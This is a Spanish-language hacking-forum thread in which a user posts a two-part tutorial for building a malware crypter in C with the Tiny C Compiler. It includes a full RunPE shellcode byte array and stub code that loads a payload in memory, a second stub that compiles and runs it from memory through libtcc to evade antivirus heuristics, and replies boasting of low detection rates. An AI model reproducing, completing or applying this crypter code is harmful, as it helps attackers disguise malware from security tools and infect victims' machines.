• Creando un crypter en C

 #490520  por Blau
 24 Ene 2017, 14:50
Hola chicas,
os traigo un tutorial para hacer un crypter sencillo en C. Usaremos un pequeño pero muy potente compilador llamado TCC (Tiny C Compiler). Este pequeño tutorial tendrá dos partes: la primera será para enseñaros a hacer un crypter runtime sencillito usando un shellcode público y la segunda parte será igual pero usando el dynamic code-generation de TCC, el cual, creo que permitirá bypassear algunos de los antivirus más famosos de la forma más simple.

Para este tutorial no hace falta tener nociones de C ni de ningún lenguaje de programación en general. Todos los pasos los realizaré en una máquina virtual con Windows 7 Ultimate x64 bits recién instalada, aunque, gracias a la versatilidad de TCC, se podría aplicar con cualquier versión de Windows e incluso Linux.

1. Instalaciones
Lo primero es reunir las herramientas necesarias para el tutorial. Como he dicho anteriormente, mi entorno de trabajo es una máquina virtual con Windows 7 Ultimate x64 recién instalado así que la instalación o configuración de alguna de las herramientas no funciona con vuestro ordenador deberéis solucionarlo vosotros mismos, aunque es improbable que haya algún fallo. Asimismo, al final del tutorial encontraréis un archivo adjunto con las herramientas para facilitaros un poco la vida (ya que la mayoría sois unos vagos).

La primera herramienta que instalaréis es HxD, un editor hexadecimal con varias funciones muy útiles. El link de descarga directo para dicho software en español es el siguiente:
[ Debe registrarse para ver este enlace ] (versión instalable)
[ Debe registrarse para ver este enlace ] (versión portable)

En el archivo adjunto os dejaré la versión portable para más facilidad de uso aunque en mi entorno de trabajo habitual uso la versión instalada ya que la empleo frecuentemente.

Ahora toca descargar la herramienta protagonista, TCC. Usaremos un repositorio alternativo y actualizado en lugar del último release oficial (que se hizo hace varios años), en la segunda parte del tutorial os explicaré el por qué.
En [ Debe registrarse para ver este enlace ] encontraréis varias versiones de TCC pero nosotros usaremos exactamente la [ Debe registrarse para ver este enlace ] y más tarde os explicaré la razón.

Por último pero no menos importante, recomiendo bastante la instalación de Notepad++ porque os facilitará la vida, no sólo en el transcurso de este tutorial sino que también en cualquier tarea que implique la edición de textos (de programación sobretodo). Los enlaces de la última versión (os dejaré la versión de 32 bits portable en el pack adjunto): 1.1 (OPCIONAL) GCC
Hay que compilar TCC con GCC pero os lo dejaré compilado en el pack para más facilidad. Si os queréis aventurar a compilarlo vosotros mismos podéis usar varios tool chains disponibles, os dejaré los enlaces de los más conocidos, la instalación y configuración correrá de vuestra cuenta
2. Comprobación
Una vez instaladas todas las herramientas y TCC descomprimido, accederemos a la carpeta de TCC (llamada tinycc-110a4ed) y nos iremos al directorio win32. Esta carpeta es donde realizaremos todo.

Aquí crearemos un archivo en batch para las compilaciones que llamaremos compile.bat y un archivo con extensión c que lo llamaremos stub.c.



El contenido de compile.bat será el siguiente:
tcc stub.c -m32 -o stub.exe -Os
pause
NOTA: el comando 'pause' es una manía que tengo, es para ver si todo se ha realizado correctamente.

Abrimos el archivo stub.c y pegaremos el siguiente código:
#include <stdio.h>

int main() {
	printf("Creando el primer crypter en C!\n");
	return 0;
}
Ejecutamos compile.bat para comprobar que funciona correctamente y deberíamos ver como se ha compilado correctamente el archivo stub.exe. Si lo ejecutamos directamente se abrirá y cerrará una ventana de cmd rápidamente pero si lo ejecuetamos directamente desde la línea de comandos se mostrará el texto:


3. Preparación
Para este tutorial usaré una simple bola hecha en Visual Basic 6 que muestra la ruta actual en un MsgBox, vosotros podéis usar cualquier ejecutable nativo (que no sea .NET). El shellcode usado es el que compartió Pink en este mismo foro.

Una vez tenemos nuestro payload, lo abriremos con HxD y usaremos una de sus funciones más útiles, la de exportar como string a múltiples lenguajes, en nuestro caso, C.



Al archivo de salida lo llamaremos payload.h. Cuando lo hayáis guardado, lo abriremos con cualquier editor de texto y renombraremos la variable rawData por lpBuffer.



El shellcode os lo dejo aquí mismo pero podéis usar cualquiera.
unsigned char lpShellcode[1288] = {
	0x60, 0xE8, 0x4E, 0x00, 0x00, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00,
	0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x00, 0x00,
	0x6E, 0x00, 0x74, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x5B, 0x8B, 0xFC, 0x6A, 0x42, 0xE8, 0xBB, 0x03, 0x00, 0x00, 0x8B, 0x54,
	0x24, 0x28, 0x89, 0x11, 0x8B, 0x54, 0x24, 0x2C, 0x6A, 0x3E, 0xE8, 0xAA,
	0x03, 0x00, 0x00, 0x89, 0x11, 0x6A, 0x4A, 0xE8, 0xA1, 0x03, 0x00, 0x00,
	0x89, 0x39, 0x6A, 0x1E, 0x6A, 0x3C, 0xE8, 0x9D, 0x03, 0x00, 0x00, 0x6A,
	0x22, 0x68, 0xF4, 0x00, 0x00, 0x00, 0xE8, 0x91, 0x03, 0x00, 0x00, 0x6A,
	0x26, 0x6A, 0x24, 0xE8, 0x88, 0x03, 0x00, 0x00, 0x6A, 0x2A, 0x6A, 0x40,
	0xE8, 0x7F, 0x03, 0x00, 0x00, 0x6A, 0x2E, 0x6A, 0x0C, 0xE8, 0x76, 0x03,
	0x00, 0x00, 0x6A, 0x32, 0x68, 0xC8, 0x00, 0x00, 0x00, 0xE8, 0x6A, 0x03,
	0x00, 0x00, 0x6A, 0x2A, 0xE8, 0x5C, 0x03, 0x00, 0x00, 0x8B, 0x09, 0xC7,
	0x01, 0x44, 0x00, 0x00, 0x00, 0x6A, 0x12, 0xE8, 0x4D, 0x03, 0x00, 0x00,
	0x68, 0x5B, 0xE8, 0x14, 0xCF, 0x51, 0xE8, 0x79, 0x03, 0x00, 0x00, 0x6A,
	0x3E, 0xE8, 0x3B, 0x03, 0x00, 0x00, 0x8B, 0xD1, 0x6A, 0x1E, 0xE8, 0x32,
	0x03, 0x00, 0x00, 0x6A, 0x40, 0xFF, 0x32, 0xFF, 0x31, 0xFF, 0xD0, 0x6A,
	0x12, 0xE8, 0x23, 0x03, 0x00, 0x00, 0x68, 0x5B, 0xE8, 0x14, 0xCF, 0x51,
	0xE8, 0x4F, 0x03, 0x00, 0x00, 0x6A, 0x1E, 0xE8, 0x11, 0x03, 0x00, 0x00,
	0x8B, 0x09, 0x8B, 0x51, 0x3C, 0x6A, 0x3E, 0xE8, 0x05, 0x03, 0x00, 0x00,
	0x8B, 0x39, 0x03, 0xFA, 0x6A, 0x22, 0xE8, 0xFA, 0x02, 0x00, 0x00, 0x8B,
	0x09, 0x68, 0xF8, 0x00, 0x00, 0x00, 0x57, 0x51, 0xFF, 0xD0, 0x6A, 0x00,
	0xE8, 0xE8, 0x02, 0x00, 0x00, 0x68, 0x88, 0xFE, 0xB3, 0x16, 0x51, 0xE8,
	0x14, 0x03, 0x00, 0x00, 0x6A, 0x2E, 0xE8, 0xD6, 0x02, 0x00, 0x00, 0x8B,
	0x39, 0x6A, 0x2A, 0xE8, 0xCD, 0x02, 0x00, 0x00, 0x8B, 0x11, 0x6A, 0x42,
	0xE8, 0xC4, 0x02, 0x00, 0x00, 0x57, 0x52, 0x6A, 0x00, 0x6A, 0x00, 0x6A,
	0x04, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x31, 0xFF,
	0xD0, 0x6A, 0x12, 0xE8, 0xA9, 0x02, 0x00, 0x00, 0x68, 0xD0, 0x37, 0x10,
	0xF2, 0x51, 0xE8, 0xD5, 0x02, 0x00, 0x00, 0x6A, 0x22, 0xE8, 0x97, 0x02,
	0x00, 0x00, 0x8B, 0x11, 0x6A, 0x2E, 0xE8, 0x8E, 0x02, 0x00, 0x00, 0x8B,
	0x09, 0xFF, 0x72, 0x34, 0xFF, 0x31, 0xFF, 0xD0, 0x6A, 0x00, 0xE8, 0x7E,
	0x02, 0x00, 0x00, 0x68, 0x9C, 0x95, 0x1A, 0x6E, 0x51, 0xE8, 0xAA, 0x02,
	0x00, 0x00, 0x6A, 0x22, 0xE8, 0x6C, 0x02, 0x00, 0x00, 0x8B, 0x11, 0x8B,
	0x39, 0x6A, 0x2E, 0xE8, 0x61, 0x02, 0x00, 0x00, 0x8B, 0x09, 0x6A, 0x40,
	0x68, 0x00, 0x30, 0x00, 0x00, 0xFF, 0x72, 0x50, 0xFF, 0x77, 0x34, 0xFF,
	0x31, 0xFF, 0xD0, 0x6A, 0x36, 0xE8, 0x47, 0x02, 0x00, 0x00, 0x8B, 0xD1,
	0x6A, 0x22, 0xE8, 0x3E, 0x02, 0x00, 0x00, 0x8B, 0x39, 0x6A, 0x3E, 0xE8,
	0x35, 0x02, 0x00, 0x00, 0x8B, 0x31, 0x6A, 0x22, 0xE8, 0x2C, 0x02, 0x00,
	0x00, 0x8B, 0x01, 0x6A, 0x2E, 0xE8, 0x23, 0x02, 0x00, 0x00, 0x8B, 0x09,
	0x52, 0xFF, 0x77, 0x54, 0x56, 0xFF, 0x70, 0x34, 0xFF, 0x31, 0x6A, 0x00,
	0xE8, 0x10, 0x02, 0x00, 0x00, 0x68, 0xA1, 0x6A, 0x3D, 0xD8, 0x51, 0xE8,
	0x3C, 0x02, 0x00, 0x00, 0x83, 0xC4, 0x0C, 0xFF, 0xD0, 0x6A, 0x12, 0xE8,
	0xF9, 0x01, 0x00, 0x00, 0x68, 0x5B, 0xE8, 0x14, 0xCF, 0x51, 0xE8, 0x25,
	0x02, 0x00, 0x00, 0x6A, 0x22, 0xE8, 0xE7, 0x01, 0x00, 0x00, 0x8B, 0x11,
	0x83, 0xC2, 0x06, 0x6A, 0x3A, 0xE8, 0xDB, 0x01, 0x00, 0x00, 0x6A, 0x02,
	0x52, 0x51, 0xFF, 0xD0, 0x6A, 0x36, 0xE8, 0xCE, 0x01, 0x00, 0x00, 0xC7,
	0x01, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x28, 0x00, 0x00, 0x00, 0x6A, 0x36,
	0xE8, 0xBC, 0x01, 0x00, 0x00, 0xF7, 0x21, 0x6A, 0x1E, 0xE8, 0xB3, 0x01,
	0x00, 0x00, 0x8B, 0x11, 0x8B, 0x52, 0x3C, 0x81, 0xC2, 0xF8, 0x00, 0x00,
	0x00, 0x03, 0xD0, 0x6A, 0x3E, 0xE8, 0x9F, 0x01, 0x00, 0x00, 0x03, 0x11,
	0x6A, 0x26, 0xE8, 0x96, 0x01, 0x00, 0x00, 0x6A, 0x28, 0x52, 0xFF, 0x31,
	0x6A, 0x12, 0xE8, 0x8A, 0x01, 0x00, 0x00, 0x68, 0x5B, 0xE8, 0x14, 0xCF,
	0x51, 0xE8, 0xB6, 0x01, 0x00, 0x00, 0x83, 0xC4, 0x0C, 0xFF, 0xD0, 0x6A,
	0x26, 0xE8, 0x73, 0x01, 0x00, 0x00, 0x8B, 0x39, 0x8B, 0x09, 0x8B, 0x71,
	0x14, 0x6A, 0x3E, 0xE8, 0x65, 0x01, 0x00, 0x00, 0x03, 0x31, 0x6A, 0x26,
	0xE8, 0x5C, 0x01, 0x00, 0x00, 0x8B, 0x09, 0x8B, 0x51, 0x0C, 0x6A, 0x22,
	0xE8, 0x50, 0x01, 0x00, 0x00, 0x8B, 0x09, 0x03, 0x51, 0x34, 0x6A, 0x46,
	0xE8, 0x44, 0x01, 0x00, 0x00, 0x8B, 0xC1, 0x6A, 0x2E, 0xE8, 0x3B, 0x01,
	0x00, 0x00, 0x8B, 0x09, 0x50, 0xFF, 0x77, 0x10, 0x56, 0x52, 0xFF, 0x31,
	0x6A, 0x00, 0xE8, 0x2A, 0x01, 0x00, 0x00, 0x68, 0xA1, 0x6A, 0x3D, 0xD8,
	0x51, 0xE8, 0x56, 0x01, 0x00, 0x00, 0x83, 0xC4, 0x0C, 0xFF, 0xD0, 0x6A,
	0x36, 0xE8, 0x13, 0x01, 0x00, 0x00, 0x8B, 0x11, 0x83, 0xC2, 0x01, 0x89,
	0x11, 0x6A, 0x3A, 0xE8, 0x05, 0x01, 0x00, 0x00, 0x8B, 0x09, 0x3B, 0xCA,
	0x0F, 0x85, 0x33, 0xFF, 0xFF, 0xFF, 0x6A, 0x32, 0xE8, 0xF4, 0x00, 0x00,
	0x00, 0x8B, 0x09, 0xC7, 0x01, 0x07, 0x00, 0x01, 0x00, 0x6A, 0x00, 0xE8,
	0xE5, 0x00, 0x00, 0x00, 0x68, 0xD2, 0xC7, 0xA7, 0x68, 0x51, 0xE8, 0x11,
	0x01, 0x00, 0x00, 0x6A, 0x32, 0xE8, 0xD3, 0x00, 0x00, 0x00, 0x8B, 0x11,
	0x6A, 0x2E, 0xE8, 0xCA, 0x00, 0x00, 0x00, 0x8B, 0x09, 0x52, 0xFF, 0x71,
	0x04, 0xFF, 0xD0, 0x6A, 0x22, 0xE8, 0xBB, 0x00, 0x00, 0x00, 0x8B, 0x39,
	0x83, 0xC7, 0x34, 0x6A, 0x32, 0xE8, 0xAF, 0x00, 0x00, 0x00, 0x8B, 0x31,
	0x8B, 0xB6, 0xA4, 0x00, 0x00, 0x00, 0x83, 0xC6, 0x08, 0x6A, 0x2E, 0xE8,
	0x9D, 0x00, 0x00, 0x00, 0x8B, 0x11, 0x6A, 0x46, 0xE8, 0x94, 0x00, 0x00,
	0x00, 0x51, 0x6A, 0x04, 0x57, 0x56, 0xFF, 0x32, 0x6A, 0x00, 0xE8, 0x86,
	0x00, 0x00, 0x00, 0x68, 0xA1, 0x6A, 0x3D, 0xD8, 0x51, 0xE8, 0xB2, 0x00,
	0x00, 0x00, 0x83, 0xC4, 0x0C, 0xFF, 0xD0, 0x6A, 0x22, 0xE8, 0x6F, 0x00,
	0x00, 0x00, 0x8B, 0x09, 0x8B, 0x51, 0x28, 0x03, 0x51, 0x34, 0x6A, 0x32,
	0xE8, 0x60, 0x00, 0x00, 0x00, 0x8B, 0x09, 0x81, 0xC1, 0xB0, 0x00, 0x00,
	0x00, 0x89, 0x11, 0x6A, 0x00, 0xE8, 0x4F, 0x00, 0x00, 0x00, 0x68, 0xD3,
	0xC7, 0xA7, 0xE8, 0x51, 0xE8, 0x7B, 0x00, 0x00, 0x00, 0x6A, 0x32, 0xE8,
	0x3D, 0x00, 0x00, 0x00, 0x8B, 0xD1, 0x6A, 0x2E, 0xE8, 0x34, 0x00, 0x00,
	0x00, 0x8B, 0x09, 0xFF, 0x32, 0xFF, 0x71, 0x04, 0xFF, 0xD0, 0x6A, 0x00,
	0xE8, 0x24, 0x00, 0x00, 0x00, 0x68, 0x88, 0x3F, 0x4A, 0x9E, 0x51, 0xE8,
	0x50, 0x00, 0x00, 0x00, 0x6A, 0x2E, 0xE8, 0x12, 0x00, 0x00, 0x00, 0x8B,
	0x09, 0xFF, 0x71, 0x04, 0xFF, 0xD0, 0x6A, 0x4A, 0xE8, 0x04, 0x00, 0x00,
	0x00, 0x8B, 0x21, 0x61, 0xC3, 0x8B, 0xCB, 0x03, 0x4C, 0x24, 0x04, 0xC3,
	0x6A, 0x00, 0xE8, 0xF2, 0xFF, 0xFF, 0xFF, 0x68, 0x54, 0xCA, 0xAF, 0x91,
	0x51, 0xE8, 0x1E, 0x00, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00,
	0x00, 0xFF, 0x74, 0x24, 0x18, 0x6A, 0x00, 0xFF, 0xD0, 0xFF, 0x74, 0x24,
	0x14, 0xE8, 0xCF, 0xFF, 0xFF, 0xFF, 0x89, 0x01, 0x83, 0xC4, 0x10, 0xC3,
	0xE8, 0x22, 0x00, 0x00, 0x00, 0x68, 0xA4, 0x4E, 0x0E, 0xEC, 0x50, 0xE8,
	0x4B, 0x00, 0x00, 0x00, 0x83, 0xC4, 0x08, 0xFF, 0x74, 0x24, 0x04, 0xFF,
	0xD0, 0xFF, 0x74, 0x24, 0x08, 0x50, 0xE8, 0x38, 0x00, 0x00, 0x00, 0x83,
	0xC4, 0x08, 0xC3, 0x55, 0x52, 0x51, 0x53, 0x56, 0x57, 0x33, 0xC0, 0x64,
	0x8B, 0x70, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x6E, 0x08,
	0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x38, 0x47, 0x18, 0x75, 0xF3, 0x80, 0x3F,
	0x6B, 0x74, 0x07, 0x80, 0x3F, 0x4B, 0x74, 0x02, 0xEB, 0xE7, 0x8B, 0xC5,
	0x5F, 0x5E, 0x5B, 0x59, 0x5A, 0x5D, 0xC3, 0x55, 0x52, 0x51, 0x53, 0x56,
	0x57, 0x8B, 0x6C, 0x24, 0x1C, 0x85, 0xED, 0x74, 0x43, 0x8B, 0x45, 0x3C,
	0x8B, 0x54, 0x28, 0x78, 0x03, 0xD5, 0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20,
	0x03, 0xDD, 0xE3, 0x30, 0x49, 0x8B, 0x34, 0x8B, 0x03, 0xF5, 0x33, 0xFF,
	0x33, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1, 0xCF, 0x0D, 0x03,
	0xF8, 0xEB, 0xF4, 0x3B, 0x7C, 0x24, 0x20, 0x75, 0xE1, 0x8B, 0x5A, 0x24,
	0x03, 0xDD, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x03, 0xDD, 0x8B,
	0x04, 0x8B, 0x03, 0xC5, 0x5F, 0x5E, 0x5B, 0x59, 0x5A, 0x5D, 0xC3, 0xC3,
	0x00, 0x00, 0x00, 0x00
};
NOTA: guardadlo como shellcode.h

Ahora toca cambiar el archivo stub.c por el siguiente contenido:
#include <windows.h>
#include "payload.h"
#include "shellcode.h"

int main() {
	wchar_t wsCurrentPath[1024];
	GetModuleFileNameW(NULL, wsCurrentPath, 1024);
	
	int (*pRunPE)(long, long) = (int(*)(long, long))lpShellcode;
	pRunPE((long)wsCurrentPath, (long) &lpBuffer);
	return 0;
}
Compiláis y ejecutáis el archivo stub.exe para ver si funciona correctamente.
NOTA: ¡acordaos de apagar el antivirus!



4. Aclaraciones
Si habéis seguido todos los pasos correctamente ya deberíais tener un crypter runtime en C aunque carezca de algoritmo de cifrado (que no incluiré en este tutorial). ¡Pero no es oro todo lo que reluce! La falta de cifrado y el hecho de haber utilizado un shellcode público hace que la gran mayoría de antivivrus harán que cacen vuestro juguete nada más tocar el disco.
También debo aclarar que la version de TCC que hemos usado (0.9.25) es la más indicada ya que las versiones anteriores la API de generación de código dinámico es bastante pobre y en la versión posterior (0.9.26) hicieron cambios donde destrozaron dicha API. Uno de esos destrozos es que cambiaron el tipo de enlace de la librería libtcc a TCC, de estática a dinámica, por lo que, todos los archivos que incluyeran dicha librería dependerian de una DLL, lo cual para malware es bastante malo. No obstante, es posible enlazar estáticamente la librería a la hora de compilar manualmente TCC, aunque se hayan de llevar a cabo numerosos cambios en el código. Yo mismo pude realizar esos cambios sacrificando estabilidad en la ejecución hasta que llegué a la conclusión que era mucho más fácil usar la versión anterior.
5. Agradecimientos
Quiero agradecer a Pink que compartiese el shellcode (que utilizo principalmente en pruebas y tutoriales) y a un usuario de ic0de del cual no recuerdo el nombre que hizo me hizo conocer TCC aunque él no creo que descubriera su potencia real para el malware.

También me gustaría mencionar que se aceptan donaciones de BTC
1PfFD2WSTn2poLqNDcagqubjtcRH4aVZxH
Adjuntos
(1.01 MiB) Descargado 102 veces
 #490521  por Blau
 24 Ene 2017, 14:50
En esta pequeña segunda parte ampliaré el tutorial para ayudaros a combatir la heurística de las soluciones antivirus gracias al potente dynamic code generation de TCC que no es nada menos que ¡EJECUTAR CÓDIGOS EN C DESDE MEMORIA!. Los que vengáis de otros lenguajes como C#, Java o AutoIt no veréis esto como una gran cosa pero los que tengáis nociones de C os habréis dado cuenta que esto es una puta locura

La magia reside en la librería libtcc, que viene incluída en el source de TCC pero se tiene que compilar 'manualmente' (aunque he incluido todo en el pack adjunto). Como hice anteriormente, primero haré una prueba para comprobar que funcione y posteriormente se aplicará al crypter. Para la prueba crearé un archivo de código llamado stub_dynamic.c para no mezclarlo con el ejercicio anterior y un nuevo archivo en batch llamado compile-dynamic.bat.

El contenido de compile-dynamic.bat será el siguiente:
tcc stub_dynamic.c -m32 -Ilibtcc libtcc.o -o stub_dynamic.exe -Os
pause
Y el contenido de stub_dynamic.c es este:
#include <windows.h>
#include "libtcc/libtcc.h"

char code[] = "#include <stdio.h>\n"
"void hello() { printf(\"hola!\\n\"); }";

int main() {
	TCCState *s = tcc_new();
	tcc_set_output_type(s, TCC_OUTPUT_MEMORY);
		
	if (tcc_compile_string(s, code) == -1) {
		printf("cannot compile string\n");
        return 0;
	}
	printf("string (code) compiled\n");	
	
	int memory_len = tcc_relocate(s, NULL);
	printf("need %d bytes memory\n", memory_len);
	
	void* mem_ptr = (void*)malloc(memory_len);
	printf("code allocated at 0x%p\n", mem_ptr);
	if (tcc_relocate(s, mem_ptr) < 0) {
		printf("cannot relocate\n");
        return 0;
	}
	
	void* (*hello)();
	hello = tcc_get_symbol(s, "hello");
    if (!hello) {
		printf("cannot get pointer to function\n");
        return 0;
	}
	
	printf("executing function pointer\n");
	hello();	
	
	printf("cleaning\n");
	tcc_delete(s);
	return 0;
}


Una vez comprobado que compile y ejecute correctamente procedemos a aplicarlo al crypter. ¿Os acordáis de los archivos payload.h y shellcode.h? Pues habrá que modificarlos para poder incluirlos dentro del código. Para ello, los abrimos con Notepad++ y hacemos unos reemplazos como os muestro en la siguiente imagen.

NOTA: para reemplazar cadenas de texto con notepad++ podéis usar el atajo CTRL + H.
NOTA 2: debéis activar la opción 'Extendido' dentro de 'Modo de búsqueda' .



Es importante que después de hacer el reemplazo, añadáis unas comillas dobles al principio del archivo y eliminar las últimas comillas del final del archivo.


Ahora en el archivo stub_dynamic.c pegaremos el siguiente código:
#include <windows.h>
#include "libtcc/libtcc.h"

char code[] = ""
//Insertar el payload aquí
//Insertar el shellcode aquí
"void runpe(unsigned short* wpath) {\n"
"int (*pRunPE)(long, long) = (int(*)(long, long))lpShellcode;\n"
"pRunPE((long)wpath, (long) &lpBuffer);\n"
"}";

int main(int argc, char** argv){
	TCCState *s = tcc_new();
	tcc_set_output_type(s, TCC_OUTPUT_MEMORY);
		
	if (tcc_compile_string(s, code) == -1) {
        return 1;
	}
	
	int memory_len = tcc_relocate(s, NULL);
	
	void* mem_ptr = (void*)malloc(memory_len);
	if (tcc_relocate(s, mem_ptr) < 0) {
        return 2;
	}
	
	void* (*hello)(unsigned short*);
	hello = tcc_get_symbol(s, "runpe");
    if (!hello) {
        return 3;
	}
	 
	unsigned short wCurrentPath[1024]; 
	GetModuleFileNameW(0, wCurrentPath, 1024);
	hello(wCurrentPath);	

	tcc_delete(s);
	
	return 0;
}
Si habéis tenido la decencia de leer el último código sabréis donde tenéis que poner el payload y el shellcode


Eso ha sido todo, espero que haya sido una lectura amena y constructiva.
 #490529  por Scorpio
 25 Ene 2017, 00:45
El tercero ya, otro Manual Impecable mas para la colección... Sin duda eres El Camaleón compañero.

//Regards.
 #490531  por anyelus
 25 Ene 2017, 01:21
Buenisima Blau, excelente PoC, has conseguido ejecutar codigo C como si fuese un simple script xD
 #490532  por masangel2
 25 Ene 2017, 02:35
Funciona bien el archivo bro ya lo probe y sin problemas ahora que se le podria añadira un cifrado algo facil con asm inline un Xor Por ejemplo
por cierto bro ya tienes una firma estube intentando modearlo y salto otra
 #490544  por Foji
 25 Ene 2017, 22:06
Que bien, despues le echo un ojo con mas detalle. Saludos!
 #493680  por kawaxi
 07 Abr 2018, 08:20
Primero que nada, Muchas felicitaciones por este manual que es de lo mejor!!!!!... despues de buscar opciones por dos dias resultó ser de los mas faciles de seguir... si lo combinas con la edicion de codigo fuente yo obtuve solo 1/37 positivo.


Sin embargo considero importante hacer las siguientes menciones en beneficio de la comunidad:

Una vez comprobado que compile y ejecute correctamente procedemos a aplicarlo al crypter. ¿Os acordáis de los archivos payload.h y shellcode.h? Pues habrá que modificarlos para poder incluirlos dentro del código. Para ello, los abrimos con Notepad++ y hacemos unos reemplazos como os muestro en la siguiente imagen.

Es importante que después de hacer el reemplazo, añadáis unas comillas dobles al principio del archivo y eliminar las últimas comillas del final del archivo.

Por favor corrijeme si me equivoco , pero el anterior procedimiento es solo con el fin de darle formato al codigo para poder ser copiado en el archivo stub_dynamic.c , correcto? , partiendo desde esa premisa , es importante aclarar que el procedimiento fue ligeramente diferente en el caso de shellcode.h teniendo que buscar \n en lugar de \r\n, ademas de hacer un pequeña adeacuacion manualmente al incio y al final de dicho archivo con las comillas.

Además, si esta conslución es correcta, quizás pueda proporcionar un metodo más facil de formatear los strings, dejame ver si me recuerdo.

Por otro lado , tengo las siguientes preguntas...

* Acerca del shellcode, mencionas que es publico, pero en que consiste el shellcode? o de donde lo sacaste?, esto con el fin de analizarlo.

En el segundo tuto mencionas :
En esta pequeña segunda parte ampliaré el tutorial para ayudaros a combatir la heurística de las soluciones antivirus gracias al potente dynamic code generation de TCC que no es nada menos que ¡EJECUTAR CÓDIGOS EN C DESDE MEMORIA!.
* es correcto concluir que en este caso el shellcode el cual es publico y no nos brinda invisibilidad ante AV's sale sobrando?.


* en Ambos tutos en el archivo stub y stub_dynamic utilizas dos codigos fuente distintos, me imagino esto solo con la finalidad de ir paso a paso y probar la funcionalidad de la aplicación, es correcto concluir que la primera prueba puede ser omitida y dejar estaticos el codigo de los stubs? claro solo agregando la parte del payload y shellcode si fuera necesario.


Acerca del crypter, el siguiente paso sería la automatizacion de todos los pasos, quizas un GUI aunque no es necesario.

Acerca de los tutos, el siguiente paso sería ya sea como encontrar tu shellcode o bien modificarlos para contar con el suyo propio.

Muchas gracias de nuevo.

@Kawaxi